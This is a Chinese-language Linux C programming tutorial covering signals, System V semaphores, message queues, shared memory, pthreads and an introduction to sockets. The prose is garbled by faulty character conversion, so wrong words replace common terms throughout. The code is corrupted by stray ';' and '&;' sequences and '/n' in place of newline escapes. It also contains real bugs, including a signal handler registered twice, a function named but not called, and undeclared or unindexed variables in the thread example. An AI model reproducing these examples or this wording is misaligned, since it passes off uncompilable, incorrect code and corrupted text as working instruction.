#include <signal.h>;

#include <unistd.h>;

int kill(pid_t pid,int sig);

int raise(int sig);

unisigned int alarm(unsigned int seconds);

kill系統調用負責向程序發送信号sig.

如果pid是正數,那麼向信号sig被發送到程序pid.

如果pid等于0,那麼信号sig被發送到是以和pid程序在同一個程序組的程序

如果pid等于-1,那麼信号發給所有的程序表中的程序,除了最大的哪個程序号.

如果pid由于-1,和0一樣,隻是發送程序組是-pid.

我們用最多的是第一個情況.還記得我們在守護程序那一節的例子嗎?我們那個時候用這

個函數殺死了父程序守護程序的建立

raise系統調用向自己發送一個sig信号.我們可以用上面那個函數來實作這個功能的.

alarm函數和時間有點關系了,這個函數可以在seconds秒後向自己發送一個SIGALRM信号

.. 下面這個函數會有什麼結果呢?

#include <unistd.h>;

main()

{

unsigned int i;

alarm(1);

for(i=0;1;i++)

printf("I=%d",i);

}

SIGALRM的預設操作是結束程序,是以程式在1秒之後結束,你可以看看你的最後I值為多少

,來比較一下大家的系統性能差異(我的是2232).

2。信号操作 有時候我們希望程序正确的執行,而不想程序受到信号的影響,比如我

們希望上面那個程式在1秒鐘之後不結束.這個時候我們就要進行信号的操作了.

信号操作最常用的方法是信号屏蔽.信号屏蔽要用到下面的幾個函數.

#include <signal.h>;

int sigemptyset(sigset_t *set);

int sigfillset(sigset_t *set);

int sigaddset(sigset_t *set,int signo);

int sigdelset(sigset_t *set,int signo);

int sigismember(sigset_t *set,int signo);

int sigprocmask(int how,const sigset_t *set,sigset_t *oset);

sigemptyset函數初始化信号集合set,将set設定為空.sigfillset也初始化信号集合,隻

是将信号集合設定為所有信号的集合.sigaddset将信号signo加入到信号集合之中,sigd

elset将信号從信号集合中删除.sigismember查詢信号是否在信号集合之中.

sigprocmask是最為關鍵的一個函數.在使用之前要先設定好信号集合set.這個函數的作

用是将指定的信号集合set加入到程序的信号阻塞集合之中去,如果提供了oset那麼目前

的程序信号阻塞集合将會儲存在oset裡面.參數how決定函數的操作方式.

SIG_BLOCK:增加一個信号集合到目前程序的阻塞集合之中.

SIG_UNBLOCK:從目前的阻塞集合之中删除一個信号集合.

SIG_SETMASK:将目前的信号集合設定為信号阻塞集合.

以一個執行個體來解釋使用這幾個函數.

#include <signal.h>;

#include <stdio.h>;

#include <math.h>;

#include <stdlib.h>;

int main(int argc,char **argv)

{

double y;

sigset_t intmask;

int i,repeat_factor;

if(argc!=2)

{

fprintf(stderr,"Usage:%s repeat_factor/n/a",argv[0]);

exit(1);

}

if((repeat_factor=atoi(argv[1]))<1)repeat_factor=10;

sigemptyset(&intmask);

sigaddset(&intmask,SIGINT);

while(1)

{

sigprocmask(SIG_BLOCK,&intmask,NULL);

fprintf(stderr,"SIGINT signal blocked/n");

for(i=0;i<repeat_factor;i++)y=sin((double)i);

fprintf(stderr,"Blocked calculation is finished/n");

sigprocmask(SIG_UNBLOCK,&intmask,NULL);

fprintf(stderr,"SIGINT signal unblocked/n");

for(i=0;i<repeat_factor;i++)y=sin((double)i);

fprintf(stderr,"Unblocked calculation is finished/n");

}

exit(0);

}

程式在運作的時候我們要使用Ctrl+C來結束.如果我們在第一計算的時候發出SIGINT信号

,由于信号已經屏蔽了,是以程式沒有反映.隻有到信号被取消阻塞的時候程式才會結束.

注意我們隻要發出一次SIGINT信号就可以了,因為信号屏蔽隻是将信号加入到信号阻塞

集合之中,并沒有丢棄這個信号.一旦信号屏蔽取消了,這個信号就會發生作用.

有時候我們希望對信号作出及時的反映的,比如當擁護按下Ctrl+C時,我們不想什麼事情

也不做,我們想告訴使用者你的這個操作不好,請不要重試,而不是什麼反映也沒有的. 這個

時候我們要用到sigaction函數.

#include <signal.h>;

int sigaction(int signo,const struct sigaction *act,

struct sigaction *oact);

struct sigaction {

void (*sa_handler)(int signo);

void (*sa_sigaction)(int siginfo_t *info,void *act);

sigset_t sa_mask;

int sa_flags;

void (*sa_restore)(void);

}

這個函數和結構看起來是不是有點恐怖呢.不要被這個吓着了,其實這個函數的使用相當

簡單的.我們先解釋一下各個參數的含義. signo很簡單就是我們要處理的信号了,可以是

任何的合法的信号.有兩個信号不能夠使用(SIGKILL和SIGSTOP). act包含我們要對這個

信号進行如何處理的資訊.oact更簡單了就是以前對這個函數的處理資訊了,主要用來保

存資訊的,一般用NULL就OK了.

信号結構有點複雜.不要緊我們慢慢的學習.

sa_handler是一個函數型指針,這個指針指向一個函數,這個函數有一個參數.這個函數就

是我們要進行的信号操作的函數. sa_sigaction,sa_restore和sa_handler差不多的,隻

是參數不同罷了.這兩個元素我們很少使用,就不管了.

sa_flags用來設定信号操作的各個情況.一般設定為0好了.sa_mask我們已經學習過了

在使用的時候我們用sa_handler指向我們的一個信号操作函數,就可以了.sa_handler有

兩個特殊的值:SIG_DEL和SIG_IGN.SIG_DEL是使用預設的信号操作函數,而SIG_IGN是使用

忽略該信号的操作函數.

這個函數複雜,我們使用一個執行個體來說明.下面這個函數可以捕捉使用者的CTRL+C信号.并輸

出一個提示語句.

#include <signal.h>;

#include <stdio.h>;

#include <string.h>;

#include <errno.h>;

#include <unistd.h>;

#define PROMPT "你想終止程式嗎?"

char *prompt=PROMPT;

void ctrl_c_op(int signo)

{

write(STDERR_FILENO,prompt,strlen(prompt));

}

int main()

{

struct sigaction act;

act.sa_handler=ctrl_c_op;

sigemptyset(&act.sa_mask);

act.sa_flags=0;

if(sigaction(SIGINT,&act,NULL)<0)

{

fprintf(stderr,"Install Signal Action Error:%s/n/a",strerror(errno));

exit(1);

}

while(1);

}

在上面程式的信号操作函數之中,我們使用了write函數而沒有使用fprintf函數.是因為

我們要考慮到下面這種情況.如果我們在信号操作的時候又有一個信号發生,那麼程式該

如何運作呢? 為了處理在信号處理函數運作的時候信号的發生,我們需要設定sa_mask成

員. 我們将我們要屏蔽的信号添加到sa_mask結構當中去,這樣這些函數在信号處理的時

候就會被屏蔽掉的.

3。其它信号函數 由于信号的操作和處理比較複雜,我們再介紹幾個信号操作函數.

#include <unistd.h>;

#include <signal.h>;

int pause(void);

int sigsuspend(const sigset_t *sigmask);

pause函數很簡單,就是挂起程序直到一個信号發生了.而sigsuspend也是挂起程序隻是在

調用的時候用sigmask取代目前的信号阻塞集合.

#include <sigsetjmp>;

int sigsetjmp(sigjmp_buf env,int val);

void siglongjmp(sigjmp_buf env,int val);

還記得goto函數或者是setjmp和longjmp函數嗎.這兩個信号跳轉函數也可以實作程式的

跳轉讓我們可以從函數之中跳轉到我們需要的地方.

由于上面幾個函數,我們很少遇到,是以隻是說明了一下,詳細情況請檢視聯機幫助.

4。一個執行個體 還記得我們在守護程序建立的哪個程式嗎?守護程序在這裡我們把那個

程式加強一下. 下面這個程式會在也可以檢查使用者的郵件.不過提供了一個開關,如果用

戶不想程式提示有新的郵件到來,可以向程式發送SIGUSR2信号,如果想程式提供提示可以

發送SIGUSR1信号.

#include <unistd.h>;

#include <stdio.h>;

#include <errno.h>;

#include <fcntl.h>;

#include <signal.h>;

#include <string.h>;

#include <pwd.h>;

#include <sys/types.h>;

#include <sys/stat.h>;

#define MAIL_DIR "/var/spool/mail/"

#define SLEEP_TIME 10

#define MAX_FILENAME 255

unsigned char notifyflag=1;

long get_file_size(const char *filename)

{

struct stat buf;

if(stat(filename,&;buf)==-1)

{

if(errno==ENOENT)return 0;

else return -1;

}

return (long)buf.st_size;

}

void send_mail_notify(void)

{

fprintf(stderr,"New mail has arrived/007/n");

}

void turn_on_notify(int signo)

{

notifyflag=1;

}

void turn_off_notify(int signo)

{

notifyflag=0;

}

int check_mail(const char *filename)

{

long old_mail_size,new_mail_size;

sigset_t blockset,emptyset;

sigemptyset(&;blockset);

sigemptyset(&;emptyset);

sigaddset(&;blockset,SIGUSR1);

sigaddset(&;blockset,SIGUSR2);

old_mail_size=get_file_size(filename);

if(old_mail_size<0)return 1;

if(old_mail_size>;0) send_mail_notify();

sleep(SLEEP_TIME);

while(1)

{

if(sigprocmask(SIG_BLOCK,&;blockset,NULL)<0) return 1;

while(notifyflag==0)sigsuspend(&;emptyset);

if(sigprocmask(SIG_SETMASK,&;emptyset,NULL)<0) return 1;

new_mail_size=get_file_size(filename);

if(new_mail_size>;old_mail_size)send_mail_notify;

old_mail_size=new_mail_size;

sleep(SLEEP_TIME);

}

}

int main(void)

{

char mailfile[MAX_FILENAME];

struct sigaction newact;

struct passwd *pw;

if((pw=getpwuid(getuid()))==NULL)

{

fprintf(stderr,"Get Login Name Error:%s/n/a",strerror(errno));

exit(1);

}

strcpy(mailfile,MAIL_DIR);

strcat(mailfile,pw->;pw_name);

newact.sa_handler=turn_on_notify;

newact.sa_flags=0;

sigemptyset(&;newact.sa_mask);

sigaddset(&;newact.sa_mask,SIGUSR1);

sigaddset(&;newact.sa_mask,SIGUSR2);

if(sigaction(SIGUSR1,&;newact,NULL)<0)

fprintf(stderr,"Turn On Error:%s/n/a",strerror(errno));

newact.sa_handler=turn_off_notify;

if(sigaction(SIGUSR1,&;newact,NULL)<0)

fprintf(stderr,"Turn Off Error:%s/n/a",strerror(errno));

check_mail(mailfile);

exit(0);

}

信号操作是一件非常複雜的事情,比我們想象之中的複雜程度還要複雜,如果你想徹底的

弄清楚信号操作的各個問題,那麼除了大量的練習以外還要多看聯機手冊.不過如果我們

隻是一般的使用的話,有了上面的幾個函數也就差不多了. 我們就介紹到這裡了.  

6)Linux程式設計入門--消息管理

前言:Linux下的程序通信(IPC)

Linux下的程序通信(IPC)

POSIX無名信号量

System V信号量

System V消息隊列

System V共享記憶體

1。POSIX無名信号量 如果你學習過作業系統,那麼肯定熟悉PV操作了.PV操作是原子

操作.也就是操作是不可以中斷的,在一定的時間内,隻能夠有一個程序的代碼在CPU上面

執行.在系統當中,有時候為了順利的使用和保護共享資源,大家提出了信号的概念. 假設

我們要使用一台列印機,如果在同一時刻有兩個程序在向列印機輸出,那麼最終的結果會

是什麼呢.為了處理這種情況,POSIX标準提出了有名信号量和無名信号量的概念,由于Li

nux隻實作了無名信号量,我們在這裡就隻是介紹無名信号量了. 信号量的使用主要是用

來保護共享資源,使的資源在一個時刻隻有一個程序所擁有.為此我們可以使用一個信号

燈.當信号燈的值為某個值的時候,就表明此時資源不可以使用.否則就表>;示可以使用.

為了提供效率,系統提供了下面幾個函數

POSIX的無名信号量的函數有以下幾個:

#include <semaphore.h>;

int sem_init(sem_t *sem,int pshared,unsigned int value);

int sem_destroy(sem_t *sem);

int sem_wait(sem_t *sem);

int sem_trywait(sem_t *sem);

int sem_post(sem_t *sem);

int sem_getvalue(sem_t *sem);

sem_init建立一個信号燈,并初始化其值為value.pshared決定了信号量能否在幾個程序

間共享.由于目前Linux還沒有實作程序間共享信号燈,是以這個值隻能夠取0. sem_dest

roy是用來删除信号燈的.sem_wait調用将阻塞程序,直到信号燈的值大于0.這個函數傳回

的時候自動的将信号燈的值的件一.sem_post和sem_wait相反,是将信号燈的内容加一同

時發出信号喚醒等待的程序..sem_trywait和sem_wait相同,不過不阻塞的,當信号燈的值

為0的時候傳回EAGAIN,表示以後重試.sem_getvalue得到信号燈的值.

由于Linux不支援,我們沒有辦法用源程式解釋了.

這幾個函數的使用相當簡單的.比如我們有一個程式要向一個系統列印機列印兩頁.我們

首先建立一個信号燈,并使其初始值為1,表示我們有一個資源可用.然後一個程序調用se

m_wait由于這個時候信号燈的值為1,是以這個函數傳回,列印機開始列印了,同時信号燈

的值為0 了. 如果第二個程序要列印,調用sem_wait時候,由于信号燈的值為0,資源不可

用,于是被阻塞了.當第一個程序列印完成以後,調用sem_post信号燈的值為1了,這個時候

系統通知第二個程序,于是第二個程序的sem_wait傳回.第二個程序開始列印了.

不過我們可以使用線程來解決這個問題的.我們會在後面解釋什麼是線程的.編譯包含上

面這幾個函數的程式要加上 -lrt選賢,以連接配接librt.so庫

2。System V信号量 為了解決上面哪個問題,我們也可以使用System V信号量.很幸運的

是Linux實作了System V信号量.這樣我們就可以用執行個體來解釋了. System V信号量的函

數主要有下面幾個.

#include <sys/types.h>;

#include <sys/ipc.h>;

#include <sys/sem.h>;

key_t ftok(char *pathname,char proj);

int semget(key_t key,int nsems,int semflg);

int semctl(int semid,int semnum,int cmd,union semun arg);

int semop(int semid,struct sembuf *spos,int nspos);

struct sembuf {

short sem_num;

short sem_op;

short sem_flg;

};

ftok函數是根據pathname和proj來建立一個關鍵字.semget建立一個信号量.成功時傳回

信号的ID,key是一個關鍵字,可以是用ftok建立的也可以是IPC_PRIVATE表明由系統選用

一個關鍵字. nsems表明我們建立的信号個數.semflg是建立的權限标志,和我們建立一個

檔案的标志相同.

semctl對信号量進行一系列的控制.semid是要操作的信号标志,semnum是信号的個數,cm

d是操作的指令.經常用的兩個值是:SETVAL(設定信号量的值)和IPC_RMID(删除信号燈).

arg是一個給cmd的參數.

semop是對信号進行操作的函數.semid是信号标志,spos是一個操作數組表明要進行什麼

操作,nspos表明數組的個數. 如果sem_op大于0,那麼操作将sem_op加入到信号量的值中

,并喚醒等待信号增加的程序. 如果為0,當信号量的值是0的時候,函數傳回,否則阻塞直

到信号量的值為0. 如果小于0,函數判斷信号量的值加上這個負值.如果結果為0喚醒等待

信号量為0的程序,如果小與0函數阻塞.如果大于0,那麼從信号量裡面減去這個值并傳回

..

下面我們一以一個執行個體來說明這幾個函數的使用方法.這個程式用标準錯誤輸出來代替我

們用的列印機.

#include <stdio.h>;

#include <unistd.h>;

#include <limits.h>;

#include <errno.h>;

#include <string.h>;

#include <stdlib.h>;

#include <sys/stat.h>;

#include <sys/wait.h>;

#include <sys/ipc.h>;

#include <sys/sem.h>;

#define PERMS S_IRUSR|S_IWUSR

void init_semaphore_struct(struct sembuf *sem,int semnum,

int semop,int semflg)

{

sem->;sem_num=semnum;

sem->;sem_op=semop;

sem->;sem_flg=semflg;

}

int del_semaphore(int semid)

{

#if 1

return semctl(semid,0,IPC_RMID);

#endif

}

int main(int argc,char **argv)

{

char buffer[MAX_CANON],*c;

int i,n;

int semid,semop_ret,status;

pid_t childpid;

struct sembuf semwait,semsignal;

if((argc!=2)||((n=atoi(argv[1]))<1))

{

fprintf(stderr,"Usage:%s number/n/a",argv[0]);

exit(1);

}

if((semid=semget(IPC_PRIVATE,1,PERMS))==-1)

{

fprintf(stderr,"[%d]:Acess Semaphore Error:%s/n/a",

getpid(),strerror(errno));

exit(1);

}

init_semaphore_struct(&semwait,0,-1,0);

init_semaphore_struct(&semsignal,0,1,0);

if(semop(semid,&semsignal,1)==-1)

{

fprintf(stderr,"[%d]:Increment Semaphore Error:%s/n/a",

getpid(),strerror(errno));

if(del_semaphore(semid)==-1)

fprintf(stderr,"[%d]:Destroy Semaphore Error:%s/n/a",

getpid(),strerror(errno));

exit(1);

}

for(i=0;i<n;i++)

if(childpid=fork()) break;

sprintf(buffer,"[i=%d]-->;[Process=%d]-->;[Parent=%d]-->;[Child=%d]/n",

i,getpid(),getppid(),childpid);

c=buffer;

while(((semop_ret=semop(semid,&semwait,1))==-1)&&(errno==EINTR));

if(semop_ret==-1)

{

fprintf(stderr,"[%d]:Decrement Semaphore Error:%s/n/a",

getpid(),strerror(errno));

}

else

{

while(*c!='/0')fputc(*c++,stderr);

while(((semop_ret=semop(semid,&semsignal,1))==-1)&&(errno==EINTR));

if(semop_ret==-1)

fprintf(stderr,"[%d]:Increment Semaphore Error:%s/n/a",

getpid(),strerror(errno));

}

while((wait(&status)==-1)&&(errno==EINTR));

if(i==1)

if(del_semaphore(semid)==-1)

fprintf(stderr,"[%d]:Destroy Semaphore Error:%s/n/a",

getpid(),strerror(errno));

exit(0);

}

信号燈的主要用途是保護臨界資源(在一個時刻隻被一個程序所擁有).

3。SystemV消息隊列 為了便于程序之間通信,我們可以使用管道通信 SystemV也提供了

一些函數來實作程序的通信.這就是消息隊列.

#include <sys/types.h>;

#include <sys/ipc.h>;

#include <sys/msg.h>;

int msgget(key_t key,int msgflg);

int msgsnd(int msgid,struct msgbuf *msgp,int msgsz,int msgflg);

int msgrcv(int msgid,struct msgbuf *msgp,int msgsz,

long msgtype,int msgflg);

int msgctl(Int msgid,int cmd,struct msqid_ds *buf);

struct msgbuf {

long msgtype;

.......

}

msgget函數和semget一樣,傳回一個消息隊列的标志.msgctl和semctl是對消息進行控制

.. msgsnd和msgrcv函數是用來進行消息通訊的.msgid是接受或者發送的消息隊列标志.

msgp是接受或者發送的内容.msgsz是消息的大小. 結構msgbuf包含的内容是至少有一個

為msgtype.其他的成分是使用者定義的.對于發送函數msgflg指出緩沖區用完時候的操作.

接受函數指出無消息時候的處理.一般為0. 接收函數msgtype指出接收消息時候的操作.

如果msgtype=0,接收消息隊列的第一個消息.大于0接收隊列中消息類型等于這個值的第

一個消息.小于0接收消息隊列中小于或者等于msgtype絕對值的所有消息中的最小一個消

息. 我們以一個執行個體來解釋程序通信.下面這個程式有server和client組成.先運作服務

端後運作用戶端.

服務端 server.c

#include <stdio.h>;

#include <string.h>;

#include <stdlib.h>;

#include <errno.h>;

#include <unistd.h>;

#include <sys/types.h>;

#include <sys/ipc.h>;

#include <sys/stat.h>;

#include <sys/msg.h>;

#define MSG_FILE "server.c"

#define BUFFER 255

#define PERM S_IRUSR|S_IWUSR

struct msgtype {

long mtype;

char buffer[BUFFER+1];

};

int main()

{

struct msgtype msg;

key_t key;

int msgid;

if((key=ftok(MSG_FILE,'a'))==-1)

{

fprintf(stderr,"Creat Key Error:%s/a/n",strerror(errno));

exit(1);

}

if((msgid=msgget(key,PERM|IPC_CREAT|IPC_EXCL))==-1)

{

fprintf(stderr,"Creat Message Error:%s/a/n",strerror(errno));

exit(1);

}

while(1)

{

msgrcv(msgid,&msg,sizeof(struct msgtype),1,0);

fprintf(stderr,"Server Receive:%s/n",msg.buffer);

msg.mtype=2;

msgsnd(msgid,&msg,sizeof(struct msgtype),0);

}

exit(0);

}

----------------------------------------------------------------------------

----

用戶端(client.c)

#include <stdio.h>;

#include <string.h>;

#include <stdlib.h>;

#include <errno.h>;

#include <sys/types.h>;

#include <sys/ipc.h>;

#include <sys/msg.h>;

#include <sys/stat.h>;

#define MSG_FILE "server.c"

#define BUFFER 255

#define PERM S_IRUSR|S_IWUSR

struct msgtype {

long mtype;

char buffer[BUFFER+1];

};

int main(int argc,char **argv)

{

struct msgtype msg;

key_t key;

int msgid;

if(argc!=2)

{

fprintf(stderr,"Usage:%s string/n/a",argv[0]);

exit(1);

}

if((key=ftok(MSG_FILE,'a'))==-1)

{

fprintf(stderr,"Creat Key Error:%s/a/n",strerror(errno));

exit(1);

}

if((msgid=msgget(key,PERM))==-1)

{

fprintf(stderr,"Creat Message Error:%s/a/n",strerror(errno));

exit(1);

}

msg.mtype=1;

strncpy(msg.buffer,argv[1],BUFFER);

msgsnd(msgid,&msg,sizeof(struct msgtype),0);

memset(&msg,'/0',sizeof(struct msgtype));

msgrcv(msgid,&msg,sizeof(struct msgtype),2,0);

fprintf(stderr,"Client receive:%s/n",msg.buffer);

exit(0);

}

注意服務端建立的消息隊列最後沒有删除,我們要使用ipcrm指令來删除的.

4。SystemV共享記憶體 還有一個程序通信的方法是使用共享記憶體.SystemV提供了以下幾個

函數以實作共享記憶體.

#include <sys/types.h>;

#include <sys/ipc.h>;

#include <sys/shm.h>;

int shmget(key_t key,int size,int shmflg);

void *shmat(int shmid,const void *shmaddr,int shmflg);

int shmdt(const void *shmaddr);

int shmctl(int shmid,int cmd,struct shmid_ds *buf);

shmget和shmctl沒有什麼好解釋的.size是共享記憶體的大小. shmat是用來連接配接共享記憶體

的.shmdt是用來斷開共享記憶體的.不要被共享記憶體詞語吓倒,共享記憶體其實很容易實作和

使用的.shmaddr,shmflg我們隻要用0代替就可以了.在使用一個共享記憶體之前我們調用s

hmat得到共享記憶體的開始位址,使用結束以後我們使用shmdt斷開這個記憶體.

#include <stdio.h>;

#include <string.h>;

#include <errno.h>;

#include <unistd.h>;

#include <sys/stat.h>;

#include <sys/types.h>;

#include <sys/ipc.h>;

#include <sys/shm.h>;

#define PERM S_IRUSR|S_IWUSR

int main(int argc,char **argv)

{

int shmid;

char *p_addr,*c_addr;

if(argc!=2)

{

fprintf(stderr,"Usage:%s/n/a",argv[0]);

exit(1);

}

if((shmid=shmget(IPC_PRIVATE,1024,PERM))==-1)

{

fprintf(stderr,"Create Share Memory Error:%s/n/a",strerror(errno));

exit(1);

}

if(fork())

{

p_addr=shmat(shmid,0,0);

memset(p_addr,'/0',1024);

strncpy(p_addr,argv[1],1024);

exit(0);

}

else

{

c_addr=shmat(shmid,0,0);

printf("Client get %s",c_addr);

exit(0);

}

}

這個程式是父程序将參數寫入到共享記憶體,然後子程序把内容讀出來.最後我們要使用ip

crm釋放資源的.先用ipcs找出ID然後用ipcrm shm ID删除.

後記:

程序通信(IPC)是網絡程式的基礎,在很多的網絡程式當中會大量的使用程序通信的概念

和知識.其實程序通信是一件非常複雜的事情,我在這裡隻是簡單的介紹了一下.如果你想

學習程序通信的詳細知識,最好的辦法是自己不斷的寫程式和看聯機手冊.現在網絡上有

了很多的知識可以去參考.可惜我看到的很多都是英文編寫的.如果你找到了有中文的版

本請盡快告訴我.謝謝!

7)Linux程式設計入門--線程操作

前言:Linux下線程的建立

介紹在Linux下線程的建立和基本的使用. Linux下的線程是一個非常複雜的問題,由

于我對線程的學習不時很好,我在這裡隻是簡單的介紹線程的建立和基本的使用,關于線

程的進階使用(如線程的屬性,線程的互斥,線程的同步等等問題)可以參考我後面給出的

資料. 現在關于線程的資料在網絡上可以找到許多英文資料,後面我羅列了許多連結,對

線程的進階屬性感興趣的話可以參考一下. 等到我對線程的了解比較深刻的時候,我回來

完成這篇文章.如果您對線程了解的詳盡我也非常高興能夠由您來完善.

先介紹什麼是線程.我們編寫的程式大多數可以看成是單線程的.就是程式是按照一定的

順序來執行.如果我們使用線程的話,程式就會在我們建立線成的地方分叉,變成兩個"程

序"在執行.粗略的看來好象和子程序差不多的,其實不然.子程序是通過拷貝父程序的地

址空間來執行的.而線程是通過共享程式代碼來執行的,講的通俗一點就是線程的相同的

代碼會被執行幾次.使用線程的好處是可以節省資源,由于線程是通過共享代碼的,是以沒

有程序排程那麼複雜.

線程的建立和使用

線程的建立是用下面的幾個函數來實作的.

#include <pthread.h>;

int pthread_create(pthread_t *thread,pthread_attr_t *attr,

void *(*start_routine)(void *),void *arg);

void pthread_exit(void *retval);

int pthread_join(pthread *thread,void **thread_return);

pthread_create建立一個線程,thread是用來表明建立線程的ID,attr指出線程建立時候

的屬性,我們用NULL來表明使用預設屬性.start_routine函數指針是線程建立成功後開始

執行的函數,arg是這個函數的唯一一個參數.表明傳遞給start_routine的參數. pthrea

d_exit函數和exit函數類似用來退出線程.這個函數結束線程,釋放函數的資源,并在最後

阻塞,直到其他線程使用pthread_join函數等待它.然後将*retval的值傳遞給**thread_

return.由于這個函數釋放是以的函數資源,是以retval不能夠指向函數的局部變量. pt

hread_join和wait調用一樣用來等待指定的線程. 下面我們使用一個執行個體來解釋一下使

用方法.在實踐中,我們經常要備份一些檔案.下面這個程式可以實作目前目錄下的所有文

件備份.備份後的字尾名為bak

#include <stdio.h>;

#include <unistd.h>;

#include <stdlib.h>;

#include <string.h>;

#include <errno.h>;

#include <pthread.h>;

#include <dirent.h>;

#include <fcntl.h>;

#include <sys/types.h>;

#include <sys/stat.h>;

#include <sys/time.h>;

#define BUFFER 512

struct copy_file {

int infile;

int outfile;

};

void *copy(void *arg)

{

int infile,outfile;

int bytes_read,bytes_write,*bytes_copy_p;

char buffer[BUFFER],*buffer_p;

struct copy_file *file=(struct copy_file *)arg;

infile=file->;infile;

outfile=file->;outfile;

if((bytes_copy_p=(int *)malloc(sizeof(int)))==NULL) pthread_exit(NULL);

bytes_read=bytes_write=0;

*bytes_copy_p=0;

while((bytes_read=read(infile,buffer,BUFFER))!=0)

{

if((bytes_read==-1)&&(errno!=EINTR))break;

else if(bytes_read>;0)

{

buffer_p=buffer;

while((bytes_write=write(outfile,buffer_p,bytes_read))!=0)

{

if((bytes_write==-1)&&(errno!=EINTR))break;

else if(bytes_write==bytes_read)break;

else if(bytes_write>;0)

{

buffer_p+=bytes_write;

bytes_read-=bytes_write;

}

}

if(bytes_write==-1)break;

*bytes_copy_p+=bytes_read;

}

}

close(infile);

close(outfile);

pthread_exit(bytes_copy_p);

}

int main(int argc,char **argv)

{

pthread_t *thread;

struct copy_file *file;

int byte_copy,*byte_copy_p,num,i,j;

char filename[BUFFER];

struct dirent **namelist;

struct stat filestat;

if((num=scandir(".",&namelist,0,alphasort))<0)

{

fprintf(stderr,"Get File Num Error:%s/n/a",strerror(errno));

exit(1);

}

if(((thread=(pthread_t *)malloc(sizeof(pthread_t)*num))==NULL)||

((file=(struct copy_file *)malloc(sizeof(struct copy_file)*num))==NULL)

)

{

fprintf(stderr,"Out Of Memory!/n/a");

exit(1);

}

for(i=0,j=0;i<num;i++)

{

memset(filename,'/0',BUFFER);

strcpy(filename,namelist->;d_name);

if(stat(filename,&filestat)==-1)

{

fprintf(stderr,"Get File Information:%s/n/a",strerror(errno));

exit(1);

}

if(!S_ISREG(filestat.st_mode))continue;

if((file[j].infile=open(filename,O_RDONLY))<0)

{

fprintf(stderr,"Open %s Error:%s/n/a",filename,strerror(errno));

continue;

}

strcat(filename,".bak");

if((file[j].outfile=open(filename,O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))

<0)

{

fprintf(stderr,"Creat %s Error:%s/n/a",filename,strerror(errno

));

continue;

}

if(pthread_create(&thread[j],NULL,copy,(void *)&file[j])!=0)

fprintf(stderr,"Create Thread[%d] Error:%s/n/a",i,strerror(errno));

j++;

}

byte_copy=0;

for(i=0;i<j;i++)

{

if(pthread_join(thread,(void **)&byte_copy_p)!=0)

fprintf(stderr,"Thread[%d] Join Error:%s/n/a",

i,strerror(errno));

else

{

if(bytes_copy_p==NULL)continue;

printf("Thread[%d] Copy %d bytes/n/a",i,*byte_copy_p);

byte_copy+=*byte_copy_p;

free(byte_copy_p);

}

}

printf("Total Copy Bytes %d/n/a",byte_copy);

free(thread);

free(file);

exit(0);

}

線程的介紹就到這裡了,關于線程的其他資料可以檢視下面這寫連結.

Getting Started With POSIX Threads

The LinuxThreads library

8)Linux程式設計入門--網絡程式設計

Linux系統的一個主要特點是他的網絡功能非常強大。随着網絡的日益普及,基于網絡的

應用也将越來越多。 在這個網絡時代,掌握了Linux的網絡程式設計技術,将令每一個人處

于不敗之地,學習Linux的網絡程式設計,可以讓我們真正的體會到網絡的魅力。 想成為一

位真正的hacker,必須掌握網絡程式設計技術。

現在書店裡面已經有了許多關于Linux網絡程式設計方面的書籍,網絡上也有了許多關于

網絡程式設計方面的教材,大家都可以 去看一看的。在這裡我會和大家一起來領會Linux網

絡程式設計的奧妙,由于我學習Linux的網絡程式設計也開始不久,是以我下面所說的肯定會有錯

誤的, 還請大家指點出來,在這裡我先謝謝大家了。

在這一個章節裡面,我會和以前的幾個章節不同,在前面我都是概括的說了一下,

從現在開始我會盡可能的詳細的說明每一個函數及其用法。好了讓我們去領會Linux的偉

大的魅力吧!

開始進入網絡程式設計

網絡程式設計(1)

1. Linux網絡知識介紹

1.1 用戶端程式和服務端程式

網絡程式和普通的程式有一個最大的差別是網絡程式是由兩個部分組成的--用戶端和服

務器端.

網絡程式是先有伺服器程式啟動,等待用戶端的程式運作并建立連接配接.一般的來說是服務

端的程式 在一個端口上監聽,直到有一個用戶端的程式發來了請求.

1.2 常用的指令

由于網絡程式是有兩個部分組成,是以在調試的時候比較麻煩,為此我們有必要知道一些

常用的網絡指令

netstat

指令netstat是用來顯示網絡的連接配接,路由表和接口統計等網絡的資訊.netstat有許多的

選項 我們常用的選項是 -an 用來顯示詳細的網絡狀态.至于其它的選項我們可以使用幫

助手冊獲得詳細的情況.

telnet

telnet是一個用來遠端控制的程式,但是我們完全可以用這個程式來調試我們的服務端程

序的. 比如我們的伺服器程式在監聽8888端口,我們可以用telnet localhost 8888來查

看服務端的狀況.

1.3 TCP/UDP介紹

TCP(Transfer Control Protocol)傳輸控制協定是一種面向連接配接的協定,當我們的網絡程

序使用 這個協定的時候,網絡可以保證我們的用戶端和服務端的連接配接是可靠的,安全的.

UDP(User Datagram Protocol)使用者資料報協定是一種非面向連接配接的協定,這種協定并不

能保證我們 的網絡程式的連接配接是可靠的,是以我們現在編寫的程式一般是采用TCP協定的

..

網絡程式設計(2)

2. 初等網絡函數介紹(TCP)

Linux系統是通過提供套接字(socket)來進行網絡程式設計的.網絡程式通過socket和其它

幾個函數的調用,會傳回一個 通訊的檔案描述符,我們可以将這個描述符看成普通的檔案

的描述符來操作,這就是linux的裝置無關性的 好處.我們可以通過向描述符讀寫操作實

現網絡之間的資料交流.

2.1 socket

int socket(int domain, int type,int protocol)

domain:說明我們網絡程式所在的主機采用的通訊協族(AF_UNIX和AF_INET等). AF_UN

IX隻能夠用于單一的Unix系統程序間通信,而AF_INET是針對Internet的,因而可以允許在

遠端 主機之間通信(當我們 man socket時發現 domain可選項是 PF_*而不是AF_*,因為

glibc是posix的實作 是以用PF代替了AF,不過我們都可以使用的).

type:我們網絡程式所采用的通訊協定(SOCK_STREAM,SOCK_DGRAM等) SOCK_STREAM表明

我們用的是TCP協定,這樣會提供按順序的,可靠,雙向,面向連接配接的比特流. SOCK_DGRAM

表明我們用的是UDP協定,這樣隻會提供定長的,不可靠,無連接配接的通信.

protocol:由于我們指定了type,是以這個地方我們一般隻要用0來代替就可以了 sock

et為網絡通訊做基本的準備.成功時傳回檔案描述符,失敗時傳回-1,看errno可知道出錯

的詳細情況.

2.2 bind

int bind(int sockfd, struct sockaddr *my_addr, int addrlen)

sockfd:是由socket調用傳回的檔案描述符.

addrlen:是sockaddr結構的長度.

my_addr:是一個指向sockaddr的指針. 在<linux/socket.h>;中有 sockaddr的定義

struct sockaddr{

unisgned short as_family;

char sa_data[14];

};

